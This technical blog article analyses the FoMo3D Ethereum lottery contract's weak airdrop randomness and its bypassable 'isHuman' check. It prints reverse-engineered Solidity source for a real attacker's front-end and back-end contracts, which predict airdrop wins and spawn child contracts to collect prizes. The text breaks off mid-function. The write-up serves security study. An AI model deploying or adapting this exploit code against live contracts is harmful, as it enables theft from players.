Exploiting FoMo3D Family: part 2

Zhongqiang Chen
27 min readNov 30, 2019

--

Overview of Dapp FoMo3D

The FoMo3D is a lottery game that is built as a decentralized application (Dapp) in which the last person to buy a key at the end of a round wins the pot. During a round, players can purchase 1 or more keys which resets the timer marking them as the current leader. With each key purchase during the round, the key price increases slightly. Players receive a stream of passive income from the game as keys are bought during the round. When the timer reaches zero, last person to buy a key wins.

There are many variants in the FoMo3D game family such as FoMo3DShort, FoMo3DSoon, and FoMo3DLong. Here we use FoMo3DLong game as an example.

In fact, even for FoMo3DLong game, it is also deployed on multiple addresses. One deployment of FoMo3DLong game is given below.

FoMo3DLong:
contract address: 0xA62142888ABa8370742bE823c1782D17A0389Da1
contract creator: 0xF39e044e1AB204460e06E87c6dca2c6319fC69E3
source code of the contract:
https://etherscan.io/address/0xa62142888aba8370742be823c1782d17a0389da1#code
transaction that deployed the contract:
Transaction Hash: 0xf63e775e10b0f662574ab49cd4c080ddcda8ca7d0012b5f0fbf0b03ad1c977ac
Status: Success
Block: 5915466 3107383 Block Confirmations
Timestamp: 511 days 8 hrs ago (Jul-06-2018 11:17:45 AM +UTC)
From: 0xf39e044e1ab204460e06e87c6dca2c6319fc69e3
To: [Contract 0xa62142888aba8370742be823c1782d17a0389da1 Created] (Fomo3D: Long)
Value: 0 Ether ($0.00)
Transaction Fee: 0.50999404562435 Ether ($79.01)
Gas Limit: 6,500,000
Gas Used by Transaction: 6,181,746 (95.1%)
Gas Price: 0.000000082500000101 Ether (82.500000101 Gwei)
Nonce Position 75 37
Input Data: (omitted)

The source code of the FoMo3DLong game is published by its creator on etherscan.io and the link to the source code is given above.

By looking at the source code of the game, we can see that the computation of airdrop is performed by the function airdrop(), which is copied here.

contract FoMo3Dlong is modularLong {
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
}

This function first generates a random number in the range [0, 999], and then compares it with variable “airDropTracker_”, the caller can win the airdrop if the generated random number is less than the value in variable “airDropTracker_”.

The sources of the random number include information on the current block and the address of the player. The information on the current block used by the function is: the block creation time, the block difficulty, the block miner’s address, and the block number.

The function airdrop() is invoked by function core(), which is presented as follows.

/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
} // if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID; if (round_[_rID].team != _team)
round_[_rID].team = _team; // set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
} // manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} // set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker
airDropTracker_ = 0;
}
} // store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}

The main inputs to this function are: round ID, player ID, the purchase amount, affiliation of the player, and the player’s team.

This function first checks whether or not the player is new to the current round of the game. That is, the player did not purchase any key yet in the current round.

The function then checks if the game is in its early stage, meaning that the total amount of Ethers accumulated by key purchases is still low (i.e., the total amount of Ethers is less than 100). If it is in the game’s early stage, then the key purchase is limited to be within 1 Ether.

Any purchase needs to be larger than the minimum requirement (i.e., 1000000000 Wei).

If the purchase is at least 1 whole key (i.e., 1 Ether), then the timer is updated and the purchaser becomes the new leader of the current round and its team becomes the leading team.

If the purchase amount is not lower than 0.1 Ethers, the purchaser is also qualified to enter the draw for winning an airdrop. The number of such qualified transactions is recorded by the variable “airDropTracker_”, which is incremented each time a “qualified” transaction occurs.

The airdrop is categorized into 3 different tiers based on the amount of purchase: the airdrop is in tier one if the purchase amount is not lower than 10 Ethers, it is in tier two if the purchase amount is between 1 Ethers and 10 Ethers, and it is in tier three if the purchase amount is in range [0.1, 1) Ethers.

The prize of the airdrop in these 3 tiers is computed differently. More specifically, the prize of the airdrop is 75%, 50%, and 25%, respectively, of the money in the airdrop pool stored in variable “airDropPot_”.

If an airdrop is won, the variable “airDropTracker_” is reset to zero.

Whenever a purchase occurs, the purchase amount is distributed among different pools, which is performed in functions distributeExternal() and distributeInternal(). For instance, in function distributeInternal(), 1% of the purchase is added to the airdrop pool stored in variable “airDropPot_”.

The function core() is the building block for function buyCore(), which is given below.

/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_; // grab time
uint256 _now = now; // if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_); // build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} // put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}

This function first checks if the the round of the game is active. If the current round is still not ended, then the purchase is valid for the current round and function core() is invoked.

If the time for the current round is passed, then the function will end the round and distribute pot appropriately.

Because the function buyCore() is private, players can not call it directly. Instead, the contract provides multiple publicly accessible functions for players to play the game.

One such publicly accessible functions is buyXid() shown below.

/**
* @dev converts all incoming ethereum to keys.
* -functionhash- 0x8f38f309 (using ID for affiliate)
* -functionhash- 0x98a0871d (using address for affiliate)
* -functionhash- 0xa65b37a1 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
*/
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}

The inputs to this function are the affiliation code of the player and the player’s team. In this function, the player’s address is used as the player’s ID. If affiliation code is not given (i.e., _affCode is zero or it is the same as the player’s ID), then the affiliation code previously stored by the player will be used.

Besides to be publicly accessible, this function is also guarded with modifier isHuman() to prevent any contract rather than externally owned account (EOA) from interacting with the game.

/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}

The modifier isHuman() simply checks whether the sender has any code associated with its account. If there is any code attached to the account, then the account is not an EOA, instead, it must be a smart contract.

The vulnerabilities of the FoMo3D game family are mainly the following:

  1. The game uses the length of the code associated with an account to differentiate human from smart contract. When a smart contract is created, however, its constructor is first executed and during the execution of its constructor, the code of the smart contract has not been copied and stored into the state of the blockchain, therefore, the length of its code is zero.
  2. The sources of the random number used for airdrop computation are from current block and the player. These sources are also available to the player and they can be accessed by the player via a smart contract before the game is played.

Because of its popularity and its vulnerabilities. FoMo3D game family attracts many attackers. By exploiting these vulnerabilities, attackers successfully steal money from the games.

We will look at some of these exploitations and in this part of the article, we study one of such exploitations.

Exploiting the game

The attack tool we introduce in this part of the article is the one that is deployed on the Ethereum blockchain, and the information of its deployment is as follows.

front end smart contract:
contract: 0x65330e7fAaa0a92b47a64036Af8D682449Fa72cd
creator: 0x2CA860aD6B4D2C79A88fb5B1628810f2BF487287
back end smart contract:
contract: 0x04941c04F84EEf29232AeD1D394EEfBeCa41C614
creator: 0x2CA860aD6B4D2C79A88fb5B1628810f2BF487287

It can be seen that the attack tool consists of two smart contracts: the front end smart contract and the back end smart contract. The front end smart contract provides entry points for the attackers to launch attacks, while the back end smart contract implements the code that actually fires the attacks. Therefore, the front end smart contract will interact with the back end smart contract to complete the attacks.

The front end smart contract was deployed by the following transaction.

Transaction Hash: 0x0bda685d9efacce9830804a9aea2dad5609276da5273794c38640f9da47eaf00
Status: Success
Block: 6004436 2797141 Block Confirmations
Timestamp: 459 days 16 hrs ago (Jul-21-2018 02:37:03 PM +UTC)
From: 0x2ca860ad6b4d2c79a88fb5b1628810f2bf487287
To: [Contract 0x65330e7faaa0a92b47a64036af8d682449fa72cd Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.004310876 Ether ($0.69)
Gas Limit: 2,000,000
Gas Used by Transaction: 1,077,719 (53.89%)
Gas Price: 0.000000004 Ether (4 Gwei)
Nonce Position 675 65
Input Data: (omitted)

The deployer of the front end smart contract is 0x2ca8. The address of the front end smart contract is 0x6533, so, we name this smart contract as contract_6533.

The back end smart contract was deployed by the following transaction.

Transaction Hash: 0x9183eef8d3849a440c7f5206254555bec1017d0f6cf6815ce239a5593f79aec7
Status: Success
Block: 6012114 2807478 Block Confirmations
Timestamp: 461 days 7 hrs ago (Jul-22-2018 09:29:50 PM +UTC)
From: 0x2ca860ad6b4d2c79a88fb5b1628810f2bf487287
To: [Contract 0x04941c04f84eef29232aed1d394eefbeca41c614 Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.004123772 Ether ($0.74)
Gas Limit: 2,000,000
Gas Used by Transaction: 1,030,943 (51.55%)
Gas Price: 0.000000004 Ether (4 Gwei)
Nonce Position 806 26
Input Data: (omitted)

It can be seen that both the front end and back end smart contracts are created by the same account, 0x2ca8. The address of the back end smart contract is 0x0494, thus, we name the back end smart contract as contract_0494.

It is interesting that the front end smart contract was deployed a day earlier than the back end. Without the back end smart contract, the attackers can not successfully launch attacks by using the front end smart contract alone.

But why did the attackers deploy the front end smart contract before the back end contract is ready?

By studying the history of the transactions in the front end smart contract, we realize that the attackers at first tried to use as the back end the smart contract deployed in the following transaction.

Transaction Hash: 0x4fbf120e355cec2f6a622d9489a692d9058b154a1341b0cc6457a7ba7e77dfa3
Status: Success
Block: 6004389 3018659 Block Confirmations
Timestamp: 496 days 6 hrs ago (Jul-21-2018 02:26:18 PM +UTC)
From: 0x2ca860ad6b4d2c79a88fb5b1628810f2bf487287
To: [Contract 0xd6cb946803b9faa52199511c8a18bffb2ddec350 Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.00454326 Ether ($0.71)
Gas Limit: 2,000,000
Gas Used by Transaction: 1,135,815 (56.79%)
Gas Price: 0.000000004 Ether (4 Gwei)
Nonce Position 674 4
Input Data: (omitted)

This smart contract was indeed deployed before the front end smart contract: Jul-21–2018 02:26:18 PM +UTC vs Jul-21–2018 02:37:03 PM +UTC.

Unfortunately, this back end smart contract somehow did not work as expected. Therefore, the attackers modified the code of the back end and redeployed it the next day. The new and modified back end is contract_0494 shown previously.

The source codes of both front end and back end smart contracts are not published by their creators.

The source code of the front end smart contract, named contract_6533, is recovered by using reverse engineering techniques and is presented below.

pragma solidity ^0.5.1;contract contract_6533 {
address constant owner = 0x2CA860aD6B4D2C79A88fb5B1628810f2BF487287;

// slot 0x00
mapping (address => bool) admins;
// slot 0x01
address proxy;
bool flag;
// slot 0x02
address [] public accounts;
// slot 0x03
uint256 [] public nonces;

constructor () public {
admins[msg.sender] = true;
}

// code entrance: 0x00f0
function () external payable {
if (proxy != address(0)) {
(bool success,) = proxy.delegatecall(msg.data);
require (success == true);
}
}

/*
sample input
0x18f8cf1d000000010000000000000000000000000000000000000000adf48490
0x18f8cf1d0000000100000000000000000000000000000000000000002e1a7d4d
0x18f8cf1d000000010000000000000000000000000000000000000000a5b4e966
layout:
offset length
0x00: 20
0x14:14151617 4
0x18:18191a1b1c1d1e1f 8
0x20:20212223 4
0x24:2425262728292a2b2c2d2e2f 12
0x30:30313233 4
0x34:
0x44:
*/
// function selector: 0x18f8cf1d
// code entrance: 0x0134
function execute() public payable {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
// 0x1c = 28
require (msg.data.length >= 28);
uint256 len = msg.data.length;
uint256 first;
uint256 second;
assembly {
calldatacopy(0x18, 0x00, len)
first := mload(0x00)
second := mload(0x14)
}
address _addr = address(second);
len = msg.data.length - 0x1c;
bool success;
if ((first & 0x0f) != 0) {
require ((first & 0x0f) == 1);
assembly {
success := delegatecall(gas, _addr, 0x34, len, 0x00, 0x00)
}
}
else {
uint256 val = msg.value;
assembly {
success := call(gas, _addr, val, 0x34, len, 0x00, 0x00)
}
}
require (((first & 0xf0) == 0) || ((first & 0xf0) == 0x10));
require (success == true);
return success;
}

// function selector: 0x22c7fbe8
// code entrance: 0x013c
function callSetAdmins(uint256 _start, uint256 _end,
address _addr, bool _flag) public {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
uint256 header = cmdForSetAdmins(address(this)); for (uint256 idx = _start; idx < _end; idx++) {
assert (idx < accounts.length);
(bool success,) = accounts[idx].call(
abi.encode(header, _addr, _flag)
);
require (success == true);
}
}

// function selector: 0x25168958
// code entrance: 0x0168
function getNoncesLength() public view returns (uint256) {
return nonces.length;
}

// function selector: 0x2e1a7d4d
// code entrance: 0x018f
function withdraw(uint256 _amount) public {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
uint256 diff = getBalanceDiff(address(this).balance, _amount);
msg.sender.transfer(diff);
}

// function selector: 0x631ad94c
// code entrance: 0x01bf
function setAccounts(address [] memory _accounts) public {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
uint256 oldLen = accounts.length;
uint256 _c = safeAdd(oldLen, _accounts.length);
accounts.length = _c;
nonces.length = _c;
for (uint256 idx = 0; idx < _accounts.length; idx++) {
assert ((oldLen + idx) < accounts.length);
accounts.push(_accounts[idx]);
}
}

// function selector: 0x82dfda94
// code entrance: 0x01df
function getNonces() public view returns (uint256 [] memory) {
uint256 [] memory _nonces = new uint256[](nonces.length);
if (nonces.length != 0) {
for (uint256 idx = 0; idx < nonces.length; idx++) {
_nonces[idx] = nonces[idx];
}
}
return _nonces;
}

// function selector: 0x8545c774
// code entrance: 0x0244
function withdrawAll(uint256 _start, uint256 _end,
uint256 _keep1, uint256 _keep2) public {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
uint256 header = cmdForWithdraw(address(this)); for (uint256 idx = _start; idx < _end; idx++) {
// assert (idx < accounts.length);
(bool success,) = accounts[idx].call(
abi.encode(header, _keep1)
);
require (success == true);
}
uint256 diff = getBalanceDiff(address(this).balance, _keep2);
msg.sender.transfer(diff);
}

// function selector: 0x8a48ac03
// code entrance: 0x0265
function getAccounts() public view returns (address [] memory) {
address [] memory _accounts = new address [] (accounts.length);
if (accounts.length != 0) {
for (uint256 idx = 0; idx < accounts.length; idx++) {
_accounts[idx] = accounts[idx];
}
}
return _accounts;
}

// function selector: 0xa5b4e966
// code entrance: 0x027a
function setProxyAndFlag(address _proxy, bool _flag) public {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
proxy = _proxy;
flag = _flag;
}

// function selector: 0xa98e4e77
// code entrance: 0x02a0
function getAccountCount() public view returns (uint256) {
return accounts.length;
}

// function selector: 0xadf48490
// code entrance: 0x02b5
function setAdmins(address _addr, bool _flag) public {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
admins[_addr] = _flag;
}

// function selector: 0xb11d1d19
// code entrance: 0x02db
function setNonces(uint256 _start,
uint256 [] memory _nonces) public {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
for (uint256 idx = 0; idx < _nonces.length; idx++) {
// assert (idx < _nonces.length);
// assert ((_start + idx) < nonces.length);
nonces[_start + idx] = _nonces[idx];
}
}

// function selector: 0xb60d4288
// code entrance: 0x02ff
function fund() public payable {
return;
}

// function selector: 0xc8dfa629
// code entrance: 0x0307
function callSetProxyAndFlag(uint256 _start, uint256 _end,
address _addr, bool _flag) public {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
uint256 header = cmdForSetProxyAndFlag(address(this)); for (uint256 idx = _start; idx < _end; idx++) {
// assert (idx < accounts.length);
(bool success,) = accounts[idx].call(
abi.encode(header, _addr, _flag)
);
require (success == true);
}
}

// function selector: 0xea2c23da
// code entrance: 0x0333
function createAccounts(uint256 _num) public {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
uint256 _len = accounts.length;
uint256 _c = safeAdd(_len, _num);
accounts.length = _c;
nonces.length = _c;
for (uint256 idx = _len; idx < _c; idx++) {
address _addr = address((new child)());
require (_addr != address(0)); // assert(idx < accounts.length); accounts.push(_addr);
}
}

// internal functions

// code entrance: 0x0bb0
function cmdForSetAdmins(address _addr) private pure
returns (uint256) {
uint256 cmd = 0x18f8cf1d000000010000000000000000000000000000000000000000adf48490
+ (0x0100000000 * uint256(_addr));
return cmd;
}

// code entrance: 0x0be8
function getBalanceDiff(uint256 _bal, uint256 _amount)
private pure returns (uint256) {
assert (_amount <= _bal);
return (_bal - _amount);
}

// code entrance: 0x0bfa
function safeAdd(uint256 _a, uint256 _b) private pure
returns (uint256) {
uint256 _c = (_a + _b);
assert(_c >= _a);
return _c;
}

// code entrance: 0x0c10
function cmdForWithdraw(address _addr) private pure
returns (uint256) {
uint256 cmd = 0x18f8cf1d0000000100000000000000000000000000000000000000002e1a7d4d
+ (0x0100000000 * uint256(_addr));
return cmd;
}

// code entrance: 0x0c48
function cmdForSetProxyAndFlag(address _addr) private pure
returns (uint256) {
uint256 cmd = 0x18f8cf1d000000010000000000000000000000000000000000000000a5b4e966;
cmd |= (0x0100000000 * uint256(_addr));
return cmd;
}
}

contract child {
address constant owner = 0x2CA860aD6B4D2C79A88fb5B1628810f2BF487287;

// slot 0x00
mapping (address => bool) admins;
// slot 0x01
address proxy;

constructor () public {
}

// code entrance: 0x0040
function () external {
if (proxy != address(0)) {
(bool success,) = proxy.delegatecall(msg.data);
require (success == true);
}
}

// function selector: 0x18f8cf1d
// code entrance: 0x0091
function execute() public payable {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
// 0x1c = 28
require (msg.data.length >= 28);
uint256 len = msg.data.length;
uint256 first;
uint256 second;
assembly {
calldatacopy(0x18, 0x00, len)
first := mload(0x00)
second := mload(0x14)
}
address _proxy = address(second);
len = msg.data.length - 0x1c;
bool success;
if ((first & 0x0f) != 0) {
require ((first & 0x0f) == 1);
// offset: 0x18 + 0x1c = 0x34
assembly {
success := delegatecall(gas, _proxy, 0x34, len, 0x00, 0x00)
}
}
else {
uint256 val = msg.value;
assembly {
success := call(gas, _proxy, val, 0x34, len, 0x00, 0x00)
}
}
if ((first & 0xf0) != 0) {
require ((first & 0xf0) == 0x10);
require (success == true);
return success;
}
else {
require (success == true);
}
}
}

The source code of the front end smart contract looks a little bit too big as it provides many functionalities to the attackers. But let us only focus on the main parts.

First, the variable “proxy” is used to hold the address of the back end smart contract.

The content of the variable “proxy” is not fixed and it is not hard coded in the smart contract. Instead, the value of the variable “proxy” can be changed by using the function setProxyAndFlag(). In this way, the attackers can switch the back end to a new contract if the old one did not work or lack a certain functionality.

Second, the fallback function is designed to take advantage of using the functionalities provided by the back end. In particular, if a transaction invokes a function that is unknown to the front end smart contract, this fallback function will be called and it will forward the request by the transaction to the back end.

In fact, a request to any unknown function is transferred to the back end by using “delegate call”, meaning that the execution of the code from the back end is actually performed in the context of the front end and any modification to the state of the smart contract happens in the environment of the front end.

Third, the front end smart contract offers a function named execute() to run any function provided by the front end contract. In other words, the function execute() can be considered as a “proxy” for the functions in the front end contract.

Fourth, the function createAccounts() is used to create a pool of smart contract by using the contract “child” as the template. The smart contract pool is hold in variable “accounts”.

The structure of the child contract is quite simple, it has a fallback function and a function named execute(). These two functions are essentially the same as their counterparts in the contract_6533.

Now, let us turn to the back end smart contract.

In the same manner, the source code of the back end smart contract, named contract_0494, is recovered by reverse engineering methods and is presented below.

pragma solidity ^0.5.1;contract contract_0494 {
address constant owner = 0x2CA860aD6B4D2C79A88fb5B1628810f2BF487287;

// slot 0x00
mapping (address => bool) admins;
// slot 0x01
address proxy;
bool flag;
// slot 0x02
address [] public accounts;
// slot 0x03
uint256 [] nonces;

constructor () public {
admins[msg.sender] = true;
}

function () external payable {
}

// function selector: 0x059d2922
// code entrance: 0x0076
function createChild1(address _target, uint256 _affCode,
address _caller, address payable _owner) public payable {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
address agent = address(
(new child1).value(msg.value)(
_target, _affCode, _caller, _owner
)
);
require (agent != address(0));
}

// function selector: 0x18f8cf1d
// code entrance: 0x009a
function execute() public payable {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
// 0x1c = 28
require (msg.data.length >= 28);
uint256 len = msg.data.length;
uint256 first;
uint256 second;
assembly {
calldatacopy(0x18, 0x00, len)
first := mload(0x00)
second := mload(0x14)
}
address addr = address(second);
len = msg.data.length - 0x1c;
bool success; if ((first & 0x0f) != 0) {
require ((first & 0xf) == 1);
assembly {
success := delegatecall(gas, addr, 0x34, len, 0x00, 0x00)
}
}
else {
uint256 val = msg.value;
assembly {
success := call(gas, addr, val, 0x34, len, 0x00, 0x00)
}
}
if ((first & 0xf0) != 0) {
require ((first & 0xf0) == 0x10);
require (success == true);
return success;
}
else {
require (success == true);
return;
}
}

// function selector: 0x3ccfd60b
// code entrance: 0x00a2
function withdraw() public {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
msg.sender.transfer(address(this).balance);
}

// function selector: 0x5c644ae8
// code entrance: 0x00b7
function exploit(address _target, uint256 _affCode)
public payable {
uint256 rand = getRandom();
// function: airDropTracker_
// selector: 0x11a09ae7
bool success;
bytes memory data;
(success, data) = _target.call(
abi.encodeWithSelector(0x11a09ae7)
);
require (success == true);
require (data.length >= 0x20);
uint256 tracker = abi.decode(data, (uint256)); tracker += 1; if (airdrop(address(this), rand, tracker) == true) {
uint256 userID = 0x01;
// -functionhash- 0x8f38f309 (using ID for affiliate)
// function: buyXid(uint256,uint256)
// selector: 0x8f38f309
(success,) = _target.call.value(msg.value)(
abi.encodeWithSelector(0x8f38f309, _affCode, userID)
);
require (success == true); // function: withdraw()
// selector: 0x3ccfd60b
(success,) = _target.call(
abi.encodeWithSelector(0x3ccfd60b)
);
require (success == true);
}
}

// function selector: 0x82fcb560
// code entrance: 0x00ce
function exploitWithChild2(address _target, uint256 _affCode,
uint256 _pot, uint256 _tracker) public {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
// function: airDropPot_
// selector: 0xd87574e0
(bool success, bytes memory data) = _target.call(
abi.encodeWithSelector(0xd87574e0)
);
require (success == true);
require (data.length >= 0x20);
uint256 pot = abi.decode(data, (uint256)); require (pot >= _pot); // function: airDropTracker_
// selector: 0x11a09ae7
(success, data) = _target.call(
abi.encodeWithSelector(0x11a09ae7)
);
require (success == true);
require (data.length >= 0x20);
uint256 tracker = abi.decode(data, (uint256)); require (tracker >= _tracker); tracker += 1; uint256 rand = getRandom(); // 0x03e8 = 1000
for (uint256 idx = 0; idx < 1000; idx++) {
address hash = address(computeHash(idx));
if (airdrop(hash, rand, tracker) == true) {
uint256 header = headerForChild2(proxy);
// 0x016345785d8a0000 = 1e+17
(success,) = accounts[idx].call.value(0.1 ether)(
abi.encode(header, _target, _affCode,
proxy, address(this))
);
require (success == true); nonces[idx] += 1;
break;
}
}
}

// function selector: 0xbf6001c3
// code entrance: 0x00f8
function exploitWithChild1(address _target, uint256 _affCode,
uint256 _pot, uint256 _tracker) public {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
// function: airDropPot_
// selector: 0xd87574e0
(bool success, bytes memory data) = _target.call(
abi.encodeWithSelector(0xd87574e0)
);
require (success == true);
require (data.length >= 0x20);
uint256 pot = abi.decode(data, (uint256)); require (pot >= _pot); // function: airDropTracker_
// selector: 0x11a09ae7
(success, data) = _target.call(
abi.encodeWithSelector(0x11a09ae7)
);
require (success == true);
require (data.length >= 0x20);
uint256 tracker = abi.decode(data, (uint256)); require (tracker >= _tracker); tracker += 1; uint256 rand = getRandom(); // 0x03e8 = 1000
for (uint256 idx = 0; idx < 1000; idx++) {
address hash = address(computeHash(idx));
if (airdrop(hash, rand, tracker) == true) {
uint256 header = headerForChild1(proxy);
// 0x016345785d8a0000 = 1e+17
(success,) = accounts[idx].call.value(0.1 ether)(
abi.encode(header, _target, _affCode,
proxy, address(this))
);
require (success == true); nonces[idx] += 1;
break;
}
}
}

// function selector: 0xc1e7ce6b
// code entrance: 0x0122
function exploit2(address _target, uint256 _affCode)
public payable {
uint256 rand = getRandom();
// function: airDropTracker_
// selector: 0x11a09ae7
(bool success, bytes memory data) = _target.call(
abi.encodeWithSelector(0x11a09ae7)
);
require (success == true);
require (data.length >= 0x20);
uint256 tracker = abi.decode(data, (uint256)); tracker += 1; if (airdrop(address(this), rand, tracker) == true) {
// function: buyXid()
// selector: 0xcd133c8f
(success,) = _target.call.value(msg.value)(
abi.encodeWithSelector(0xcd133c8f, _affCode)
);
require (success == true); // function: withdraw()
// selector: 0x3ccfd60b
(success,) = _target.call(
abi.encodeWithSelector(0x3ccfd60b)
);
require (success == true);
}
}

// function selector: 0xe2d4306b
// code entrance: 0x0139
function createChild2(address _target, uint256 _affCode,
address _caller, address payable _owner) public payable {
require ((admins[msg.sender] == true) ||
(msg.sender == owner));
address agent = address(
(new child2).value(msg.value)(
_target, _affCode, _caller, _owner
)
);
require (agent != address(0));
}

// internal functions

// code entrance: 0x05e8
function computeHash(uint256 idx) private view
returns (uint256) {
// assert (idx < accounts.length);
// assert (idx < nonces.length);
address addr = accounts[idx];
uint256 nonce = nonces[idx] + 1;
uint256 hash;
uint256 num;
if (nonce < 0x80) {
num = 0xd694000000000000000000000000000000000000000000
+ (uint256(addr) * 0x0100)
+ nonce;
assembly {
mstore(0, num)
hash := keccak256(0x09, 0x17)
}
}
else if (nonce < 0x0100) {
num = 0xd79400000000000000000000000000000000000000008100
+ (uint256(addr) * 0x010000)
+ nonce;
assembly {
mstore(0, num)
hash := keccak256(0x08, 0x18)
}
}
else if (nonce < 0x010000) {
num = 0xd8940000000000000000000000000000000000000000820000
+ (uint256(addr) * 0x01000000)
+ nonce;
assembly {
mstore(0, num)
hash := keccak256(0x07, 0x19)
}
}
else if (nonce < 0x01000000) {
num = 0xd994000000000000000000000000000000000000000083000000
+ (uint256(addr) * 0x0100000000)
+ nonce;
